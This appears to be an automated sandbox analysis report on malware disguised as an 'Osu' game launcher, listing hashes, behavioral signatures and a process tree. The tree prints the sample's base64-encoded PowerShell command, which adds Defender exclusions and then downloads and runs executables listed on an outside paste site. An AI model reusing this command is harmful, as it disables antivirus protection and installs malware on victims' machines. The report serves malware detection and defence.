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Overview
overview
10Static
static
3Osu.7z
windows7-x64
3Osu.7z
windows10-2004-x64
3Osu/Launcher.exe
windows7-x64
10Osu/Launcher.exe
windows10-2004-x64
10Osu/optimi...al.dll
windows7-x64
1Osu/optimi...al.dll
windows10-2004-x64
1Osu/vk_swi...er.dll
windows7-x64
1Osu/vk_swi...er.dll
windows10-2004-x64
1Osu/vulkan-1.dll
windows7-x64
1Osu/vulkan-1.dll
windows10-2004-x64
1Analysis
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max time kernel
1561s -
max time network
1562s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
21/05/2024, 14:49
Static task
static1
Behavioral task
behavioral1
Sample
Osu.7z
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
Osu.7z
Resource
win10v2004-20240426-en
Behavioral task
behavioral3
Sample
Osu/Launcher.exe
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
Osu/Launcher.exe
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
Osu/optimization_guide_internal.dll
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
Osu/optimization_guide_internal.dll
Resource
win10v2004-20240426-en
Behavioral task
behavioral7
Sample
Osu/vk_swiftshader.dll
Resource
win7-20240221-en
Behavioral task
behavioral8
Sample
Osu/vk_swiftshader.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
Osu/vulkan-1.dll
Resource
win7-20231129-en
Behavioral task
behavioral10
Sample
Osu/vulkan-1.dll
Resource
win10v2004-20240508-en
General
-
Target
Osu/Launcher.exe
-
Size
7KB
-
MD5
eee2a79d3170f463e9697ddb8b97d41e
-
SHA1
818c82b1743c91f423c92742b54355b2058ff417
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SHA256
a4569f2cabda528425ec397aef16d6f8fc15ca94664f6f98d738d0b3dc570b41
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SHA512
139b6366a088d9aaa055fae4c7853c872fe4a31dfb7dc8e3961f144db0d712342fd4e9ef6f20e5f3cbb225a4f23c3ed24e55d144f9342398e8305f54a327d5ea
-
SSDEEP
192:nx92qvjK3xszfzzztCbxbsIcaqcINv/DvxIcaBlNtUqKwceNdM:x91v4O5CbxbbcaqcIND6cazNt/BcebM
Malware Config
Extracted
https://rentry.org/pancek61111111111111/raw
Signatures
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Blocklisted process makes network request 2 IoCs
flow pid Process 3 2424 powershell.exe 4 2424 powershell.exe -
pid Process 2424 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2424 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2424 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2976 wrote to memory of 2424 2976 Launcher.exe 28 PID 2976 wrote to memory of 2424 2976 Launcher.exe 28 PID 2976 wrote to memory of 2424 2976 Launcher.exe 28
Processes
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C:\Users\Admin\AppData\Local\Temp\Osu\Launcher.exe"C:\Users\Admin\AppData\Local\Temp\Osu\Launcher.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAZwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdAB6AHkAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAbABiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaAByAGQAIwA+ADsAJAB3AGMAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAOwAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBvAHIAZwAvAHAAYQBuAGMAZQBrADYAMQAxADEAMQAxADEAMQAxADEAMQAxADEAMQAvAHIAYQB3ACcAKQAuAFMAcABsAGkAdAAoAFsAcwB0AHIAaQBuAGcAWwBdAF0AIgBgAHIAYABuACIALAAgAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApADsAIAAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIAAkAHcAYwAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABsAG4AawBbACQAaQBdACwAIAA8ACMAbAB0AHcAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGgAZQAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAHkAdwAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkAKQApACAAfQA8ACMAcQBuAHUAIwA+ADsAIABmAG8AcgAgACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGwAbgBrAC4ATABlAG4AZwB0AGgAOwAgACQAaQArACsAKQAgAHsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZABpAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AZwB2ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACAAfQAgADwAIwB4AG4AbAAjAD4A"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2424
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